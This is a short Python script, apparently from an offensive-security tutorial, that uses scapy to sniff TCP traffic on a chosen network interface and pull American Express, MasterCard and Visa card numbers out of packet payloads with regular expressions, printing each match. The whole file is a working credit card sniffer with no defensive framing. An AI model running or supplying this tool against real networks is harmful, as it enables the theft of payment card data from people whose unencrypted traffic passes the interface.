americanExpressTest.py

# coding=UTF-8
import re
import optparse
from scapy.all import *


def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall("3[47][0-9]{13}", raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)

    if americaRE:
        print("[+] Found American Express Card: " + americaRE[0])

    if masterRE:
        print('[+] Found MasterCard Card: ' + masterRE[0])

    if visaRE:
        print('[+] Found Visa Card: ' + visaRE[0])

def main():
    parser = optparse.OptionParser('usage % prog -i<interface>')
    parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print(parser.usage)
        exit(0)
    else:
        conf.iface = options.interface
    try:
        print('[*] Starting Credit Card Sniffer.')
        sniff(filter='tcp', prn=findCreditCard, store=0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    main()